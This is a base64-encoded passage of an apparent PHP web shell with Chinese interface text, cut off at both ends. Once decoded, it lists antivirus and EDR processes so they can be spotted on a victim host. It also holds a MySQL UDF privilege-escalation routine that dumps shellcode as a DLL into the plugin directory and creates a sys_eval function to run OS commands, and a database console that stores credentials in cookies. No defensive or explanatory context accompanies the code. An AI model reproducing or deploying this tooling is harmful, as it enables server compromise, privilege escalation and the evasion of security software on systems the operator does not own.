ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJtZmVmdy5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAibWZlZmlyZS5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAibWZldHAuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgIm1mZWNhbmFyeS5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAibWZlY29uc29sZS5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAibWZlZXNwLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJmY2FnLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJmY2Fncy5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiZmNhZ3N3ZC5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiZmNhZ2F0ZS5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiMzYwRW50Q2xpZW50LmV4ZSIgPT4gIszsx+ZFRFIgQWdlbnQiLAogICAgICAgICAgICAiZWRyX3NlY19wbGFuLmV4ZSIgPT4gIsnu0MW3/kVEUiBBZ2VudCIsCiAgICAgICAgICAgICJlZHJfbW9uaXRvci5leGUiID0+ICLJ7tDFt/5FRFIgQWdlbnQiLAogICAgICAgICAgICAiZWRyX2FnZW50LmV4ZSIgPT4gIsnu0MW3/kVEUiBBZ2VudCIsCiAgICAgICAgICAgICJFU0NDQ29udHJvbC5leGUiID0+ICLG9MP30Mezvczsq5FFRFIgQWdlbnQiLAogICAgICAgICAgICAiRVNDQy5leGUiID0+ICLG9MP30Mezvczsq5FFRFIgQWdlbnQiLAogICAgICAgICAgICAiRVNBVi5leGUiID0+ICLG9MP30Mezvczsq5FFRFIgQWdlbnQiLAogICAgICAgICAgICAiRVNDQ0luZGV4LmV4ZSIgPT4gIsb0w/fQx7O9zOyrkUVEUiBBZ2VudCIsCiAgICAgICAgICAgICJBbGlZdW5EdW4uZXhlIiA9PiAisKLA79TG1Ma23CIsCiAgICAgICAgICAgICJ3ZHN3ZnNhZmUuZXhlIiA9PiAiMzYwybG2vi3N+LbcIgogICAgICAgICk7CgogICAgICAgICRjb3VudCA9IDA7CiAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOwogICAgICAgIGZvcmVhY2ggKCRwcm9jZXNzTmFtZXMgYXMgJHByb2Nlc3MpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGF2TGlzdCBhcyAka2V5ID0+ICR2YWx1ZSkgewogICAgICAgICAgICAgICAgaWYgKHN0cnRvbG93ZXIodHJpbSgkcHJvY2VzcykpID09IHN0cnRvbG93ZXIoJGtleSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSIjRkYwMDAwIj4nIC4gJHByb2Nlc3MgLiAnIC0tLT4gJyAuICR2YWx1ZSAuICc8L2ZvbnQ+PGJyPic7CiAgICAgICAgICAgICAgICAgICAgJGNvdW50Kys7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmICghJGNvdW50KQogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iIzAwZmYwMCI+yajD6M3qs8kszrS3os/WybHI7b34s8w8L2ZvbnQ+JzsKCiAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICBicmVhazsKCiAgICBjYXNlICJzdHJpbmdUb29scyI6CiAgICAgICAgJHN0cmluZ1Rvb2xzID0gYXJyYXkoCiAgICAgICAgICAgICdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsCiAgICAgICAgICAgICdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsCiAgICAgICAgICAgICdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywKICAgICAgICAgICAgJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLAogICAgICAgICAgICAnRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsCiAgICAgICAgICAgICdtZDUgaGFzaCcgPT4gJ21kNScsCiAgICAgICAgICAgICdzaGExIGhhc2gnID0+ICdzaGExJywKICAgICAgICAgICAgJ2NyeXB0JyA9PiAnY3J5cHQnLAogICAgICAgICAgICAnQ1JDMzInID0+ICdjcmMzMicsCiAgICAgICAgICAgICdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLAogICAgICAgICAgICAnSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywKICAgICAgICAgICAgJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLAogICAgICAgICAgICAnSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLAogICAgICAgICAgICAnREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsCiAgICAgICAgICAgICdERUMgdG8gQklOJyA9PiAnZGVjYmluJywKICAgICAgICAgICAgJ0JJTiB0byBIRVgnID0+ICdiaW5oZXgnLAogICAgICAgICAgICAnQklOIHRvIERFQycgPT4gJ2JpbmRlYycsCiAgICAgICAgICAgICdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLAogICAgICAgICAgICAnU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywKICAgICAgICAgICAgJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywKICAgICAgICAgICAgJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLAogICAgICAgICk7CgogICAgICAgIGh0bWxfbignPHRyPjx0ZD7Qxc+iseDC67LZ1/cs1qez1mhhc2i6r8r9Ljxicj48YnI+PGZvcm0gbWV0aG9kPSJQT1NUIj4nKTsKICAgICAgICBwcmludCA8PDxFT0YKPHNlbGVjdCBuYW1lPSJmdW5jIj4KPG9wdGlvbiB2YWx1ZT0iYmFzZTY0X2VuY29kZSIgc2VsZWN0ZWQ9IiI+YmFzZTY0seDC6zwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJiYXNlNjRfZGVjb2RlIj5iYXNlNjS94sLrPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InVybGVuY29kZSI+dXJsseDC6zwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJ1cmxkZWNvZGUiPnVybL3iwus8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iZnVsbF91cmxlbmNvZGUiPnVybM3qyKux4MLrPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9Im1kNSI+TUQ1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InNoYTEiPlNIQTE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iY3J5cHQiPmNyeXB0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImFzY2lpMmhleCI+YXNjaWkyaGV4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImhleDJhc2NpaSI+aGV4MmFzY2lpPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImhleGRlYyI+aGV4ZGVjPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImhleDJiaW4iPmhleDJiaW48L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iZGVjaGV4Ij5kZWNoZXg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iZGVjYmluIj5kZWNiaW48L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iYmluaGV4Ij5iaW5oZXg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iYmluZGVjIj5iaW5kZWM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0ic3RydG9sb3dlciI+16rQodC0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InN0cnRvdXBwZXIiPteqtPPQtDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJodG1sc3BlY2lhbGNoYXJzIj5odG1sc3BlY2lhbGNoYXJzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InN0cmxlbiI+19a3+7Sus6S2yDwvb3B0aW9uPgo8L3NlbGVjdD48YnI+CkVPRjsKICAgICAgICBpZiAoIWlzc2V0KCRfUE9TVFsnbmV3Y29kZSddKSl7CiAgICAgICAgICAgICRfUE9TVFsnbmV3Y29kZSddID0gIiI7CiAgICAgICAgICAgICRfUE9TVFsnb2xkY29kZSddID0gIiI7CiAgICAgICAgfQogICAgICAgIGVsc2V7CiAgICAgICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319CiAgICAgICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7ZnVuY3Rpb24gYmluaGV4KCRwKSB7cmV0dXJuIGRlY2hleChiaW5kZWMoJHApKTt9fQogICAgICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRwKTskaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9fQogICAgICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gc3ByaW50ZignJTAyWCcsb3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQogICAgICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQogICAgICAgICAgICAkX1BPU1RbJ29sZGNvZGUnXSA9ICRfUE9TVFsnZnVuYyddKCRfUE9TVFsnbmV3Y29kZSddKTsKICAgICAgICB9CgogICAgICAgIGh0bWxfbign16q7u8ewOicpOwogICAgICAgIGh0bWxfdGV4dCgibmV3Y29kZSIsICI2NyIsICI1IiwgJF9QT1NUWyduZXdjb2RlJ10pOwogICAgICAgIGh0bWxfbignPGJyPjxicj4nKTsKICAgICAgICBodG1sX24oJ9equ7u68zonKTsKICAgICAgICBodG1sX3RleHQoIm9sZGNvZGUiLCAiNjciLCAiNSIsICRfUE9TVFsnb2xkY29kZSddKTsKICAgICAgICBodG1sX2lucHV0KCJzdWJtaXQiLCAicGFzc3JldHVybiIsICLXqru7IiwgIjxicj48YnI+Iik7CiAgICAgICAgaHRtbF9uKCc8L3RkPjwvdHI+PC9mb3JtPicpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgIm15ZXhwIjoKICAgICAgICAkTVNHX0JPWCA9ICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+KirPyL72zPW8/jpteXNxbNPDu6e+39PQtbyz9s7EvP7IqM/eLNK7sOPH6b/2z8K99nJvb3TTtdPQPC9mb250Pjxicj7H68/Itbyz9kRMTCzU2da00NDD/MHuLLW8s/bCt762sdjQ68TcvNPU2ERMTM7EvP4s1rvQ6LPJuaa1vLP20ru0zry0v8kuPGJyPndpbmRvd3PPwm15c3FsxKzIz86qc3lzdGVtyKjP3ixsaW51eM/CbXlzcWy99s6qbXlzcWzIqM/eLLnKsb5zaGVsbNa7zOG5qXdpbmRvd3PPwtK7vPzM4cioJzsKICAgICAgICAkaW5mbyA9ICfD/MHuu9jP1Cc7CiAgICAgICAgJG1ob3N0ID0gJ2xvY2FsaG9zdCc7CiAgICAgICAgJG11c2VyID0gJ3Jvb3QnOwogICAgICAgICRtcG9ydCA9ICczMzA2JzsKICAgICAgICAkbXBhc3MgPSAnJzsKICAgICAgICAkbWRhdGEgPSAnbXlzcWwnOwogICAgICAgICRtcGF0aCA9ICcnOwogICAgICAgICRzcWxjbWQgPSAnd2hvYW1pJzsKICAgICAgICBpZihpc3NldCgkX1NFU1NJT05bJ21wYXNzJ10pKQogICAgICAgICAgICAkbXBhc3MgPSAkX1NFU1NJT05bJ21wYXNzJ107CgogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ21ob3N0J10pICYmIGlzc2V0KCRfUE9TVFsnbXVzZXInXSkpIHsKICAgICAgICAgICAgQCRteXNxbDY0ID0gaXNzZXQoJF9QT1NUWydteXNxbDY0J10pID8gdHJ1ZSA6IGZhbHNlOwogICAgICAgICAgICBpZiAoJG15c3FsNjQpIHsKICAgICAgICAgICAgICAgICRteXNxbDY0ID0gJ2NoZWNrZWQnOwogICAgICAgICAgICAgICAgJEJIID0gJ0JINjQuZGxsJzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRCSCA9ICdCSC5kbGwnOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRtaG9zdCA9ICRfUE9TVFsnbWhvc3QnXTsKICAgICAgICAgICAgJG11c2VyID0gJF9QT1NUWydtdXNlciddOwogICAgICAgICAgICAkbXBhc3MgPSAiIjsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydtcGFzcyddKSkgewogICAgICAgICAgICAgICAgJG1wYXNzID0gJF9QT1NUWydtcGFzcyddOwogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydtcGFzcyddID0gJG1wYXNzOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRtZGF0YSA9ICRfUE9TVFsnbWRhdGEnXTsKICAgICAgICAgICAgJG1wb3J0ID0gJF9QT1NUWydtcG9ydCddOwogICAgICAgICAgICAkbXBhdGggPSBGaWxlX1N0cigkX1BPU1RbJ21wYXRoJ10pOwogICAgICAgICAgICAkc3FsY21kID0gJF9QT1NUWydzcWxjbWQnXTsKICAgICAgICAgICAgJGNvbm4gPSBteXNxbGlfY29ubmVjdCgkbWhvc3QgLiAnOicgLiAkbXBvcnQsICRtdXNlciwgJG1wYXNzKTsKICAgICAgICAgICAgaWYgKCRjb25uKSB7CiAgICAgICAgICAgICAgICBAbXlzcWxpX3NlbGVjdF9kYigkY29ubiwgJG1kYXRhKTsKICAgICAgICAgICAgICAgICRzdHIgPSBteXNxbGlfZ2V0X3NlcnZlcl9pbmZvKCk7CiAgICAgICAgICAgICAgICAkc3FsID0gIlNIT1cgVkFSSUFCTEVTIExJS0UgJyVwbHVnaW5fZGlyJSciOwogICAgICAgICAgICAgICAgJHJvdyA9IG15c3FsaV9xdWVyeSgkY29ubiwgJHNxbCk7CiAgICAgICAgICAgICAgICAkcm93cyA9IG15c3FsaV9mZXRjaF9yb3coJHJvdyk7CiAgICAgICAgICAgICAgICAkcGEgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRyb3dzWzFdKTsKICAgICAgICAgICAgICAgICRwYXRoID0gJHBhIC4gJy8nIC4gJEJIOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbXBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgJG1wYXRoID0gJG1wYXRoOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbXBhdGggPSAkcGF0aDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgoIWVtcHR5KCRfUE9TVFsnb3V0ZGxsJ10pKSAmJiAoIWVtcHR5KCRtcGF0aCkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gIkNSRUFURSBUQUJMRSBFbnZsX1RlbXBfVGFiIChlbnZsIEJMT0IpOyI7CiAgICAgICAgICAgICAgICAgICAgaWYgKEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkc2hlbGxjb2RlID0gJG15c3FsNjQgPyBteXNxbGlfc2hlbGxjb2RlNjQoKSA6IG15c3FsaV9zaGVsbGNvZGUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gIklOU0VSVCBpbnRvIEVudmxfVGVtcF9UYWIgdmFsdWVzIChDT05WRVJUKCIgLiAkc2hlbGxjb2RlIC4gIixDSEFSKSk7IjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gJ1NFTEVDVCBlbnZsIEZST00gRW52bF9UZW1wX1RhYiBJTlRPIERVTVBGSUxFIFwnJyAuICRtcGF0aCAuICdcJzsnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcCA9IGV4cGxvZGUoJy8nLCAkbXBhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbnBhdGggPSBhcnJheV9wb3AoJGFwKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcXVlcnkgPSAnQ3JlYXRlIEZ1bmN0aW9uIHN5c19ldmFsIHJldHVybnMgc3RyaW5nIHNvbmFtZSBcJycgLiAkQkggLiAnXCc7JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTVNHX0JPWCA9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSA/ICewstewRExMs8m5picgOiAnsLLXsERMTMqnsNwsx+u87LLpbXlzcWzUy9DQzrvK/ScgLiBteXNxbGlfZXJyb3IoJGNvbm4pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlICRNU0dfQk9YID0gJ7W8s/ZETEzOxLz+yqew3CcgLiBteXNxbGlfZXJyb3IoJGNvbm4pOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgJE1TR19CT1ggPSAn0LTI68HZyrGx7cqnsNwnOwogICAgICAgICAgICAgICAgICAgICAgICBAbXlzcWxpX3F1ZXJ5KCRjb25uLCdEUk9QIFRBQkxFIEVudmxfVGVtcF9UYWI7Jyk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlICRNU0dfQk9YID0gJ7S0vajB2cqxse3Kp7DcJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydydW5jbWQnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkcXVlcnkgPSAnc2VsZWN0IHN5c19ldmFsKCInIC4gJHNxbGNtZCAuICciKTsnOwogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCRxdWVyeSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRyZXN1bHQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGsgPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAkaW5mbyA9IE5VTEw7CiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcmVzdWx0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGluZm90bXAgLj0gJHJvd1ska107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaysrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvID0gJGluZm90bXA7CiAgICAgICAgICAgICAgICAgICAgICAgICRNU0dfQk9YID0gJ9a00NCzybmmJzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgJE1TR19CT1ggPSAn1rTQ0MqnsNwnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgJE1TR19CT1ggPSAnway9001ZU1FMyqew3Cc7CiAgICAgICAgfQogICAgICAgIHByaW50PDw8RU5ECjxmb3JtIGlkPSJtZm9ybSIgbWV0aG9kPSJQT1NUIj4KPGRpdiBpZD0ibXNnYm94IiBjbGFzcz0ibXNnYm94Ij57JE1TR19CT1h9PC9kaXY+CjxjZW50ZXI+PGRpdiBjbGFzcz0iYWN0YWxsIj4KtdjWtyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWhvc3QiIHZhbHVlPSJ7JG1ob3N0fSIgc3R5bGU9IndpZHRoOjExMHB4Ij4Ktsu/2iA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXBvcnQiIHZhbHVlPSJ7JG1wb3J0fSIgc3R5bGU9IndpZHRoOjExMHB4Ij4K08O7pyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXVzZXIiIHZhbHVlPSJ7JG11c2VyfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4Kw9zC6yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXBhc3MiIHZhbHVlPSJ7JG1wYXNzfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4Kv+LD+yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWRhdGEiIHZhbHVlPSJ7JG1kYXRhfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4KPC9kaXY+PGRpdiBjbGFzcz0iYWN0YWxsIj4KvNPU2MK3vrYosrvM7tTy19S2r7vxyKEpIDxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0nZGxsbGonIG5hbWU9Im1wYXRoIiB2YWx1ZT0ieyRtcGF0aH0iIHN0eWxlPSJ3aWR0aDo1MDBweCI+CjY0zrtNWVNRTCA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkbGxsaicpLnZhbHVlPScnOyIgbmFtZT0ibXlzcWw2NCIgdmFsdWU9IjEiIHskbXlzcWw2NH0gLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ib3V0ZGxsIiB2YWx1ZT0isLLXsERMTCIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7Wp7PWuN+w5rG+TVlTUUwgPGJyPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxjbWQiIHZhbHVlPSJ7JHNxbGNtZH0iIHN0eWxlPSJ3aWR0aDo2MzVweDsiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJydW5jbWQiIHZhbHVlPSLWtNDQIiBzdHlsZT0id2lkdGg6ODBweDsiPgo8YnIgLz4KPHByZT4KPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDo3MjBweDtoZWlnaHQ6MzAwcHg7Ij57JGluZm99PC90ZXh0YXJlYT4KPC9wcmU+CjwvZGl2PjwvY2VudGVyPgo8L2Zvcm0+CkVORDsKICAgICAgICBicmVhazsKCgogICAgY2FzZSAibXlzcWxpX2V4ZWMiOgogICAgICAgICRlcnJvckluZm8gPSAiIjsKICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydtaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ21wb3J0J10pICYmIGlzc2V0KCRfUE9TVFsnbXVzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydtcGFzcyddKSkgewogICAgICAgICAgICBpZiAoQG15c3FsaV9jb25uZWN0KCRfUE9TVFsnbWhvc3QnXSAuICc6JyAuICRfUE9TVFsnbXBvcnQnXSwgJF9QT1NUWydtdXNlciddLCAkX1BPU1RbJ21wYXNzJ10pKSB7CiAgICAgICAgICAgICAgICAkY29va2lldGltZSA9IHRpbWUoKSArIDI0ICogMzYwMDsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgnbV93ZWJzaXRlX2hvc3QnLCAkX1BPU1RbJ21ob3N0J10sICRjb29raWV0aW1lKTsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgnbV93ZWJzaXRlX3BvcnQnLCAkX1BPU1RbJ21wb3J0J10sICRjb29raWV0aW1lKTsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgnbV93ZWJzaXRlX3VzZXInLCAkX1BPU1RbJ211c2VyJ10sICRjb29raWV0aW1lKTsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgnbV93ZWJzaXRlX3Bhc3MnLCAkX1BPU1RbJ21wYXNzJ10sICRjb29raWV0aW1lKTsKICAgICAgICAgICAgICAgIGRpZSgn1f3U2rXHwrwsx+vJ1LryLi4uPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9P3dlYnNpdGVfPW15c3FsaV9tc2ciPicpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICRlcnJvckluZm8gPSBteXNxbGlfY29ubmVjdF9lcnJvcigpOwogICAgICAgIH0KICAgICAgICBwcmludDw8PEVORAo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Im9mb3JtIiBpZD0ib2Zvcm0iPgo8ZGl2IGNsYXNzPSJhY3RhbGwiPrXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1ob3N0IiB2YWx1ZT0ibG9jYWxob3N0IiBzdHlsZT0id2lkdGg6MzAwcHgiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPrbLv9ogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wb3J0IiB2YWx1ZT0iMzMwNiIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7Tw7unIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtdXNlciIgdmFsdWU9InJvb3QiIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+w9zC6yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXBhc3MiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IrXHwrwiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+IDxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSJDT09LSUW1x8K8IiBzdHlsZT0id2lkdGg6ODBweDsiIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj0nP3dlYnNpdGVfPW15c3FsaV9tc2cnOyI+PC9kaXY+CjwvZm9ybT4KPGZvbnQgY29sb3I9IiNGRjAwMDAiPiRlcnJvckluZm88L2ZvbnQ+CkVORDsKICAgICAgICBicmVhazsKCiAgICBjYXNlICJteXNxbGlfbXNnIjoKICAgICAgICAkY29ubiA9IEBteXNxbGlfY29ubmVjdCgkX0NPT0tJRVsnbV93ZWJzaXRlX2hvc3QnXSAuICc6JyAuICRfQ09PS0lFWydtX3dlYnNpdGVfcG9ydCddLCAkX0NPT0tJRVsnbV93ZWJzaXRlX3VzZXInXSwgJF9DT09LSUVbJ21fd2Vic2l0ZV9wYXNzJ10pOwogICAgICAgIGlmICgkY29ubikgewogICAgICAgICAgICBwcmludDw8PEVORAo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gRGVsb2sobXNnLGdvdXJsKQp7CglzbXNnID0gIsi3tqjSqsm+s/1bIiArIHVuZXNjYXBlKG1zZykgKyAiXcLwPyI7CglpZihjb25maXJtKHNtc2cpKXt3aW5kb3cubG9jYXRpb24gPSBnb3VybDt9Cgl3aW5kb3cubG9jYXRpb24gPSBnb3VybDsKfQpmdW5jdGlvbiBDcmVhdGVvayhhYykKewoJaWYoYWMgPT0gJ2EnKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbnNxbCcpLnZhbHVlID0gJ0NSRUFURSBUQUJMRSBuYW1lICh3ZWJzaXRlXyBCTE9CKTsnOwoJaWYoYWMgPT0gJ2InKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbnNxbCcpLnZhbHVlID0gJ0NSRUFURSBEQVRBQkFTRSBuYW1lOyc7CglpZihhYyA9PSAnYycpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduc3FsJykudmFsdWUgPSAnRFJPUCBEQVRBQkFTRSBuYW1lOyc7CglyZXR1cm4gZmFsc2U7Cn0KRU5EOwogICAgICAgICAgICBodG1sX2Jhc2UoKTsKICAgICAgICAgICAgcHJpbnQ8PDxFTkQKZnVuY3Rpb24gU3VibWl0VXJsKCl7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduc3FsJykudmFsdWUgPSBiYXNlNjRlbmNvZGUoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25zcWwnKS52YWx1ZSk7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdnZm9ybScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0PgpFTkQ7CiAgICAgICAgICAgICRCT09MID0gZmFsc2U7CiAgICAgICAgICAgICRNU0dfQk9YID0gJ9PDu6c6JyAuICRfQ09PS0lFWydtX3dlYnNpdGVfdXNlciddIC4gJyAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgtdjWtzonIC4gJF9DT09LSUVbJ21fd2Vic2l0ZV9ob3N0J10gLiAnOicgLiAkX0NPT0tJRVsnbV93ZWJzaXRlX3BvcnQnXSAuICcgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm